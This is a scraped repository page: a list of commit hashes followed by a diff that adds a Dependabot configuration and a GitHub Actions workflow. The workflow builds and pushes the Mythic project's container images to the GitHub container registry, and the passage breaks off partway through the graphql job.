|
1d2f6a5a61 | ||
|
|
4ed5172b30 | ||
|
|
f7a002edb7 | ||
|
|
8bfc904dc6 | ||
|
|
f923eb17a2 | ||
|
|
7535e55317 | ||
|
|
282cd32d78 | ||
|
|
08c808ea33 | ||
|
|
7c0dfacba9 | ||
|
|
4cf6d9d8fa | ||
|
|
d2786bab86 | ||
|
|
7349b29e71 | ||
|
|
bb0d9044ab | ||
|
|
1cf8948320 | ||
|
|
d7c42e739f | ||
|
|
2cee0f7cba | ||
|
|
08cdbdb312 | ||
|
|
6936e5a3d6 | ||
|
|
af0dcbec44 | ||
|
|
dfd3715409 | ||
|
|
df457ae7fb | ||
|
|
bfac6643d4 | ||
|
|
19ebe8a78c | ||
|
|
b830bd247a | ||
|
|
0343bcabb0 | ||
|
|
b589855d06 | ||
|
|
a24d7f6be5 | ||
|
|
644f6e96be | ||
|
|
f3564a8ad4 | ||
|
|
448285f49b | ||
|
|
d108790325 | ||
|
|
23e5c2f8b1 | ||
|
|
5b67741a0f | ||
|
|
e204be77e5 | ||
|
|
a8b8bfb76c | ||
|
|
56846d2278 | ||
|
|
2068749e81 | ||
|
|
2970729709 | ||
|
|
287e95990b | ||
|
|
43f11e5a4e | ||
|
|
84a68d94ad | ||
|
|
bfcf5c2a7c | ||
|
|
105fd5c36a | ||
|
|
b43b2b3fb7 | ||
|
|
59e9a9efc4 | ||
|
|
ad82245016 | ||
|
|
f941848f60 | ||
|
|
85b1cdf5ae | ||
|
|
29b3c89948 | ||
|
|
21f799de67 | ||
|
|
c3cf3f986f | ||
|
|
d11cdecf48 | ||
|
|
b6f60329a1 | ||
|
|
d130595be7 | ||
|
|
28f6acbc93 | ||
|
|
5dda200b1f | ||
|
|
0a69f83969 | ||
|
|
9af5b64770 | ||
|
|
b5cfc05dae | ||
|
|
fd71b1c752 | ||
|
|
02e3f5f53a | ||
|
|
c9c2aaccc2 | ||
|
|
76c929d244 | ||
|
|
0a51910ce0 | ||
|
|
4c5efe84b2 | ||
|
|
5b112635c9 | ||
|
|
643aaf472b | ||
|
|
d40e3a57b5 | ||
|
|
e7e00b4b7f | ||
|
|
a706381ca0 | ||
|
|
7ee5676630 | ||
|
|
ce2843b801 | ||
|
|
d6c32d0681 | ||
|
|
dcebe2686a | ||
|
|
0bd89aca4b | ||
|
|
d7924f966d | ||
|
|
774ea60b78 | ||
|
|
ed464263cb | ||
|
|
63c3af046d | ||
|
|
cc9169d91a | ||
|
|
c9b9f94b75 | ||
|
|
d71fe73fee | ||
|
|
4c1c28da66 | ||
|
|
81b298793d | ||
|
|
3ee407b1d9 | ||
|
|
c23998affc | ||
|
|
f5890049fa | ||
|
|
c3d443ea91 | ||
|
|
25afd25cc0 | ||
|
|
59de20dac7 | ||
|
|
af58bc9dbc | ||
|
|
2aa0c39888 | ||
|
|
93cec09443 | ||
|
|
29758798d1 | ||
|
|
eadb076f0b | ||
|
|
7e27b82f9f | ||
|
|
43ccf85cbe | ||
|
|
1c903809ea | ||
|
|
ebef87de60 | ||
|
|
34ab89cc99 | ||
|
|
bab908ccf1 | ||
|
|
c855cb2e0e | ||
|
|
3a8ed471e9 | ||
|
|
e73ab8ee56 | ||
|
|
e90a5559be | ||
|
|
5240ad3f6a | ||
|
|
96563b2978 | ||
|
|
30856d7d4e | ||
|
|
3f574ee907 | ||
|
|
16c1441933 | ||
|
|
d55dffcb77 | ||
|
|
05d4fb1b2e | ||
|
|
7777a42d02 | ||
|
|
08832392db | ||
|
|
e718cb2849 | ||
|
|
935280d89b | ||
|
|
92761feba3 | ||
|
|
d5b274850a | ||
|
|
6b49430d11 | ||
|
|
d324ecd02e | ||
|
|
ae72af73fc | ||
|
|
6d7107fc47 | ||
|
|
d473e1dde7 | ||
|
|
a0cff4aa18 | ||
|
|
a98b87b0fa | ||
|
|
a7bddedaa5 | ||
|
|
cd8a936652 | ||
|
|
988f0ec586 | ||
|
|
4fc9312ceb | ||
|
|
c44cebdc8a | ||
|
|
1b498d7efa | ||
|
|
7764a64f2d | ||
|
|
3993a4789b | ||
|
|
c35bc0bc7e | ||
|
|
9ac8b9fdbb | ||
|
|
068db9aaa6 | ||
|
|
ca81cc2676 | ||
|
|
8d12221e74 | ||
|
|
9224f66570 | ||
|
|
6467625f71 | ||
|
|
247b502eb5 | ||
|
|
bea2477e83 | ||
|
|
6d43ebe1b2 | ||
|
|
7a3792046d | ||
|
|
6614779ff0 | ||
|
|
9e74ef10a1 | ||
|
|
ea2f978ff6 | ||
|
|
7134d24564 | ||
|
|
92fb9c913f | ||
|
|
e215a2685f | ||
|
|
2f52bb066f | ||
|
|
1e9fabc823 | ||
|
|
1c5d46f76d | ||
|
|
e942f27d57 | ||
|
|
22a835e714 | ||
|
|
0328ea93ef | ||
|
|
2a32829539 | ||
|
|
65778fbeb5 | ||
|
|
a23ef50ec5 | ||
|
|
8ba09a3b08 | ||
|
|
9785b2fa2c | ||
|
|
b263553054 | ||
|
|
12ae0b8007 | ||
|
|
f5836274d6 | ||
|
|
61ff6bb4cf | ||
|
|
6a1d731e46 | ||
|
|
09a0a425a0 | ||
|
|
e0195ff459 | ||
|
|
9d5839377f | ||
|
|
cbe246259b | ||
|
|
eb4f900ec9 | ||
|
|
802e08a3c1 | ||
|
|
41e4444752 | ||
|
|
0b6bf750f7 | ||
|
|
92c81d2b9d | ||
|
|
ab41e274e3 | ||
|
|
bba777eeb6 | ||
|
|
f3eb9e0409 | ||
|
|
6958287365 | ||
|
|
506423b454 | ||
|
|
4ea4873fd0 | ||
|
|
7e6bd56627 | ||
|
|
8e8e8b9847 | ||
|
|
61ed98b5e8 | ||
|
|
7312e83d9e | ||
|
|
8fecceefc1 | ||
|
|
c58f881e32 | ||
|
|
41334987b1 | ||
|
|
b64e82af36 | ||
|
|
3fd5d13e9e | ||
|
|
23e8ec7177 | ||
|
|
cdbdfeee9e | ||
|
|
b42a3a858e | ||
|
|
295656d024 | ||
|
|
f1ff005a71 | ||
|
|
d9de7df078 | ||
|
|
e51f6a0120 | ||
|
|
52d7a5fe92 | ||
|
|
bcf52da14f | ||
|
|
879f2e0255 | ||
|
|
08bed7e519 | ||
|
|
07e9504a9e | ||
|
|
996b67a4eb | ||
|
|
814fd240da | ||
|
|
535763f829 | ||
|
|
0b65728111 | ||
|
|
84e6c6eecc | ||
|
|
59479bc5ed | ||
|
|
d9924e9a29 | ||
|
|
c38f804ec7 | ||
|
|
29705ad192 | ||
|
|
9560f418cb | ||
|
|
9210c1fce8 | ||
|
|
a825f80d58 | ||
|
|
d3af1c339e | ||
|
|
a3e4255c43 | ||
|
|
a73cf37c44 | ||
|
|
34ddcc6c55 | ||
|
|
1a9ffa0b69 | ||
|
|
2c1421fc59 | ||
|
|
0f9ed1d3e5 | ||
|
|
518f5e9e96 | ||
|
|
b6318c66eb | ||
|
|
0f9c74e966 | ||
|
|
53633be81a | ||
|
|
22c965f8d9 | ||
|
|
6b24b4122a | ||
|
|
4ef90f1796 | ||
|
|
e80fe95256 | ||
|
|
fdcfe27137 | ||
|
|
6e4d6a74d0 | ||
|
|
360d954263 | ||
|
|
7f19d4bfe9 | ||
|
|
cb1cc78f6a | ||
|
|
900a3006ea | ||
|
|
ea3cf4762e | ||
|
|
444a7ceae2 | ||
|
|
84852f1df9 | ||
|
|
ccc9472243 | ||
|
|
83e424911f | ||
|
|
7ef188098a | ||
|
|
2b2e811267 | ||
|
|
a5e22a3dea | ||
|
|
965cd36140 | ||
|
|
bbaadb99d8 | ||
|
|
26e6b478ba | ||
|
|
9c26a92c5c | ||
|
|
bd191693d6 | ||
|
|
199de9e71c | ||
|
|
cb1440120c | ||
|
|
a738d14d89 | ||
|
|
361f3d41c6 | ||
|
|
0a12bc54fc | ||
|
|
78c250d78c | ||
|
|
1c16d2f166 | ||
|
|
91ec135d61 | ||
|
|
42a9fbc4b7 | ||
|
|
a720967889 | ||
|
|
5ac5ff5ae2 | ||
|
|
52ac9306f6 | ||
|
|
12759e8b88 | ||
|
|
82a9c3f459 | ||
|
|
36ccd7f263 | ||
|
|
cae3db6f4a | ||
|
|
970a66d618 | ||
|
|
35c158ad60 | ||
|
|
5be01669fe | ||
|
|
d9a4ea0efc | ||
|
|
3adbcd0e43 | ||
|
|
cf01b04356 | ||
|
|
e84aadb0cf | ||
|
|
a5992d7902 | ||
|
|
cbcac99abe | ||
|
|
cd71a2fe20 | ||
|
|
71c8eca780 | ||
|
|
3d07c8f942 | ||
|
|
ed362c683f | ||
|
|
1746386e06 | ||
|
|
58ef1d25a5 | ||
|
|
9962d7376c | ||
|
|
36c1ad3b29 | ||
|
|
00b7b635fb | ||
|
|
5bf1cd8425 | ||
|
|
aef8d03791 | ||
|
|
2aca5db28b | ||
|
|
0fe689086e | ||
|
|
59a905cee2 | ||
|
|
c8158902e1 | ||
|
|
51a12c2c48 | ||
|
|
569676046f | ||
|
|
8881994004 | ||
|
|
ab167c0f49 | ||
|
|
3c99f2cdf3 | ||
|
|
08e24272df | ||
|
|
94806a633d | ||
|
|
ea31698a62 | ||
|
|
3e1c71672e | ||
|
|
d6d05b11d2 | ||
|
|
0c034fbfd2 | ||
|
|
6bac1e65c2 | ||
|
|
16511efca6 | ||
|
|
a13cb6ed64 | ||
|
|
29a240a1f1 | ||
|
|
c613be1d6a | ||
|
|
860bfb1635 | ||
|
|
57626f6c0b | ||
|
|
e4b0773b81 | ||
|
|
00dec99a23 | ||
|
|
fcc150984f | ||
|
|
be6232e718 | ||
|
|
79b1ea5180 | ||
|
|
2655a81676 | ||
|
|
7e68ace90f | ||
|
|
a31556be11 | ||
|
|
e740d7c750 | ||
|
|
783894ebb7 | ||
|
|
d7c4a12b80 | ||
|
|
6c290f85f3 | ||
|
|
2d2a5cb164 | ||
|
|
257ea4c2e6 | ||
|
|
46e7a31014 | ||
|
|
01660debc2 | ||
|
|
ca96083715 | ||
|
|
bca58b2c5b | ||
|
|
2cd41fb986 | ||
|
|
fd599144ef | ||
|
|
301c772a53 | ||
|
|
c427a1f5c2 | ||
|
|
cd56243581 | ||
|
|
58e4536b36 | ||
|
|
1940005b52 | ||
|
|
2e951b158f | ||
|
|
7bed629304 | ||
|
|
2807e322fb | ||
|
|
0d14a41351 | ||
|
|
9add701f1a | ||
|
|
319f3f56ab | ||
|
|
4699c55a70 | ||
|
|
27b3f10c63 | ||
|
|
14f02c471c | ||
|
|
fcd25c4ce3 | ||
|
|
bd15ad557c | ||
|
|
2b1ebeafe8 | ||
|
|
be223d4534 | ||
|
|
76a9d43ed7 | ||
|
|
a044e90d80 | ||
|
|
9c64ad6443 | ||
|
|
c6ccbd3ff7 | ||
|
|
c47d0dfde5 | ||
|
|
2dc0914ac6 | ||
|
|
c6da795ee0 | ||
|
|
94db2025e6 | ||
|
|
626042cf03 | ||
|
|
51611c98ef | ||
|
|
38e9adab45 | ||
|
|
48d5043dc2 | ||
|
|
1a738ee1e8 | ||
|
|
40e479f55d | ||
|
|
4febe4abd7 | ||
|
|
a5f8654216 | ||
|
|
0cfb3e8010 | ||
|
|
634d654df4 | ||
|
|
16201fee33 | ||
|
|
b0571500c4 | ||
|
|
b6cdebb5c2 | ||
|
|
962a18036e | ||
|
|
359a28f016 | ||
|
|
fc1472e9a4 | ||
|
|
88fc10d1ef | ||
|
|
2c38fca30a | ||
|
|
995b1e3998 | ||
|
|
6745497690 | ||
|
|
81cdb1e152 | ||
|
|
4bed14acb9 | ||
|
|
95b0a8653b | ||
|
|
819ce29a54 | ||
|
|
1a48141442 | ||
|
|
a954efd27a | ||
|
|
29239dfa1a | ||
|
|
8a8f1f292c | ||
|
|
df26c33632 | ||
|
|
ee5548e249 | ||
|
|
742e3883de | ||
|
|
d35bfba84f | ||
|
|
518e270a2c | ||
|
|
ac419c7323 | ||
|
|
6a4ae214d5 | ||
|
|
69854ee85e | ||
|
|
e42020c1be | ||
|
|
b8e1631450 | ||
|
|
8760f40dc9 | ||
|
|
746580fe0d | ||
|
|
caada94f3d | ||
|
|
2ad30b6070 | ||
|
|
8bceda1014 | ||
|
|
2edaef58e8 | ||
|
|
dfb8068877 | ||
|
|
04a8d0daae | ||
|
|
dce4f26756 | ||
|
|
55d951ba39 | ||
|
|
ef18040abd | ||
|
|
866c99aa14 | ||
|
|
68142ca4eb | ||
|
|
ec959a8aed | ||
|
|
95e03346f0 | ||
|
|
6147a31278 | ||
|
|
4966250166 | ||
|
|
fbeaa581ac | ||
|
|
7d604f9794 | ||
|
|
26da239dad | ||
|
|
eb3450fb38 | ||
|
|
2afbe6d022 | ||
|
|
c6790b5516 | ||
|
|
42e98b1d7c | ||
|
|
04936d39eb | ||
|
|
6d293cbf1b | ||
|
|
46f499d5dc | ||
|
|
a02226d851 | ||
|
|
36966d17fb | ||
|
|
27c10e0b8c | ||
|
|
e168705f46 | ||
|
|
6ad652c1f5 | ||
|
|
12519bca4a | ||
|
|
39e6c9770d | ||
|
|
4ac085753f | ||
|
|
9d50274029 | ||
|
|
350de0a354 | ||
|
|
5ceb432111 | ||
|
|
1beadb74a9 | ||
|
|
706e1d88d4 | ||
|
|
8a47aa8f20 | ||
|
|
92936370d9 | ||
|
|
20243e619c | ||
|
|
985861d553 | ||
|
|
c8c99a4d6b | ||
|
|
651995c758 | ||
|
|
f0d7f0f98d | ||
|
|
f818a19826 | ||
|
|
16755514c5 | ||
|
|
7330c69a77 | ||
|
|
81f68b8c31 | ||
|
|
68da5f5a9a | ||
|
|
badbf91210 | ||
|
|
86b41cb516 | ||
|
|
640b6dc67f | ||
|
|
edd865478b | ||
|
|
d6cac8bac3 | ||
|
|
87a55241fc | ||
|
|
442fce9660 | ||
|
|
6fbd7d6415 | ||
|
|
e5cd7aa176 | ||
|
|
fc2264b689 | ||
|
|
f8475f1f45 | ||
|
|
a3d764fbc9 | ||
|
|
6884fbebbd | ||
|
|
f3d9c8ff60 | ||
|
|
6298118e22 | ||
|
|
a54f6073d3 | ||
|
|
b25f177705 | ||
|
|
24f1aab3e5 | ||
|
|
4a209d48a6 | ||
|
|
f0b9397362 | ||
|
|
fcff211b36 | ||
|
|
2240bbdf12 | ||
|
|
0c0ced03c0 | ||
|
|
91ca9b9364 | ||
|
|
3995eabad6 | ||
|
|
2ebdc6db3a | ||
|
|
db31503793 | ||
|
|
bf541334f4 | ||
|
|
c89af2b6f6 | ||
|
|
a966330256 | ||
|
|
838e7f2c9c | ||
|
|
84ce131f39 | ||
|
|
ced97e30ae | ||
|
|
ed7c2812ff | ||
|
|
e4f2b375e8 | ||
|
|
7f0a76aff3 | ||
|
|
20fdc72f49 | ||
|
|
d817ee771e | ||
|
|
fd30e79e36 | ||
|
|
52ebca6170 | ||
|
|
01675731ff | ||
|
|
9f9028f0ed | ||
|
|
c6006ec2d1 | ||
|
|
8902a61c1b | ||
|
|
ea9c96c27f | ||
|
|
3524b73b3b | ||
|
|
2428731366 | ||
|
|
eca95c4e24 | ||
|
|
18a7f91a74 | ||
|
|
0c81840e3c | ||
|
|
6b208f50dd | ||
|
|
5599b431a4 | ||
|
|
30993ee31f | ||
|
|
dda590cd6b | ||
|
|
50086924f2 | ||
|
|
172992f83a | ||
|
|
a0ef6428a1 | ||
|
|
832a9ef526 | ||
|
|
fcac4d9dac | ||
|
|
5265572a10 | ||
|
|
b42466d3d1 | ||
|
|
96f40f72a6 | ||
|
|
ed8b0a0542 | ||
|
|
1259736abf | ||
|
|
51f674f27c | ||
|
|
300a02e044 | ||
|
|
e3c78a04b8 | ||
|
|
1c354135cf | ||
|
|
fa30288ad7 | ||
|
|
d087969804 | ||
|
|
b903892d49 | ||
|
|
1a1e4f8a54 | ||
|
|
0e17f3cfae | ||
|
|
d8e3d2f2eb | ||
|
|
2c1e1eabd1 | ||
|
|
f55da38575 | ||
|
|
fc9370007b | ||
|
|
5c9e288a24 | ||
|
|
c98402a038 | ||
|
|
48a6b23d3f | ||
|
|
47efbfa328 | ||
|
|
a7275d2874 | ||
|
|
4e1dd0ee31 | ||
|
|
c5300920c9 | ||
|
|
c70a845737 | ||
|
|
e2253f7095 | ||
|
|
4fa148122f | ||
|
|
faa5de3f92 | ||
|
|
1a92d3e62b | ||
|
|
ee77f23df3 | ||
|
|
cecd3ddfc9 | ||
|
|
2d3c060297 | ||
|
|
a11f44b888 | ||
|
|
e845cd9470 | ||
|
|
a12e134798 | ||
|
|
8ee86eccb7 | ||
|
|
bbc04025da | ||
|
|
1a7697caac |
No files matched your search
@@ -0,0 +1,12 @@
|
||||
version: 2
|
||||
updates:
|
||||
- package-ecosystem: "npm"
|
||||
directory: "/"
|
||||
target-branch: "Mythic-v4.0.0"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
- package-ecosystem: "gomod"
|
||||
directory: "/"
|
||||
target-branch: "Mythic-v4.0.0"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
@@ -0,0 +1,571 @@
|
||||
# Pulled from Thanatos (https://github.com/MythicAgents/thanatos/blob/rewrite/.github/workflows/image.yml) - MEhrn00
|
||||
|
||||
# Name for the Github actions workflow
|
||||
name: Build and push container images
|
||||
|
||||
on:
|
||||
# Only run workflow when there is a new release published in Github
|
||||
#release:
|
||||
# types: [published]
|
||||
push:
|
||||
branches:
|
||||
- 'Mythic-v4.0.0'
|
||||
- 'master'
|
||||
tags:
|
||||
- "v*.*.*"
|
||||
|
||||
# Variables holding configuration settings
|
||||
env:
|
||||
# Container registry the built container image will be pushed to
|
||||
REGISTRY: ghcr.io
|
||||
|
||||
# Set the container image name to the Github repository name. (its-a-feature/Mythic)
|
||||
MYTHIC_SERVER_IMAGE_NAME: ${{ github.repository }}_server
|
||||
MYTHIC_CLI_IMAGE_NAME: ${{ github.repository }}_cli
|
||||
MYTHIC_POSTGRES_IMAGE_NAME: ${{ github.repository }}_postgres
|
||||
MYTHIC_RABBITMQ_IMAGE_NAME: ${{ github.repository }}_rabbitmq
|
||||
MYTHIC_DOCUMENTATION_IMAGE_NAME: ${{ github.repository }}_documentation
|
||||
MYTHIC_JUPYTER_IMAGE_NAME: ${{ github.repository }}_jupyter
|
||||
MYTHIC_GRAPHQL_IMAGE_NAME: ${{ github.repository }}_graphql
|
||||
MYTHIC_NGINX_IMAGE_NAME: ${{ github.repository }}_nginx
|
||||
MYTHIC_REACT_IMAGE_NAME: ${{ github.repository }}_react
|
||||
|
||||
# Description label for the package in Github
|
||||
IMAGE_DESCRIPTION: "test containers for Mythic development. Do not use this version!"
|
||||
|
||||
# Source URL for the package in Github. This links the Github repository packages list
|
||||
# to this container image
|
||||
IMAGE_SOURCE: ${{ github.server_url }}/${{ github.repository }}
|
||||
|
||||
# License for the container image
|
||||
IMAGE_LICENSE: BSD-3-Clause
|
||||
|
||||
# Set the container image version to the Github release tag
|
||||
VERSION: ${{ github.ref_name }}
|
||||
|
||||
# Branch for pushing release changes
|
||||
RELEASE_BRANCH: "Mythic-v4.0.0"
|
||||
|
||||
jobs:
|
||||
# Builds the base container image and pushes it to the container registry
|
||||
mythic_server:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v4 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the server container image name
|
||||
run: echo "MYTHIC_SERVER_IMAGE_NAME=${MYTHIC_SERVER_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Copy version file over
|
||||
run: cp VERSION mythic-docker/src/VERSION
|
||||
- name: Build and push the server container image
|
||||
uses: docker/build-push-action@v7 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: mythic-docker
|
||||
file: mythic-docker/.docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_SERVER_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_SERVER_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_postgres:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v4 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the postgres container image name
|
||||
run: echo "MYTHIC_POSTGRES_IMAGE_NAME=${MYTHIC_POSTGRES_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the postgres container image
|
||||
uses: docker/build-push-action@v7 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: postgres-docker
|
||||
file: postgres-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_POSTGRES_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_POSTGRES_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_rabbitmq:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v4 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the rabbitmq container image name
|
||||
run: echo "MYTHIC_RABBITMQ_IMAGE_NAME=${MYTHIC_RABBITMQ_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the rabbitmq container image
|
||||
uses: docker/build-push-action@v7 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: rabbitmq-docker
|
||||
file: rabbitmq-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_RABBITMQ_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_RABBITMQ_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_documentation:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v4 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the documentation container image name
|
||||
run: echo "MYTHIC_DOCUMENTATION_IMAGE_NAME=${MYTHIC_DOCUMENTATION_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the documentation container image
|
||||
uses: docker/build-push-action@v7 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: documentation-docker
|
||||
file: documentation-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_DOCUMENTATION_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_DOCUMENTATION_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_jupyter:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v4 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
# these two are unique
|
||||
|
||||
- name: Lowercase the jupyter container image name
|
||||
run: echo "MYTHIC_JUPYTER_IMAGE_NAME=${MYTHIC_JUPYTER_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the jupyter container image
|
||||
uses: docker/build-push-action@v7 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: jupyter-docker
|
||||
file: jupyter-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_JUPYTER_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_JUPYTER_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_graphql:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v5 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v4 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
# these two are unique
|
||||
|
||||
- name: Lowercase the graphql container image name
|
||||
run: echo "MYTHIC_GRAPHQL_IMAGE_NAME=${MYTHIC_GRAPHQL_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the graphql container image
|
||||
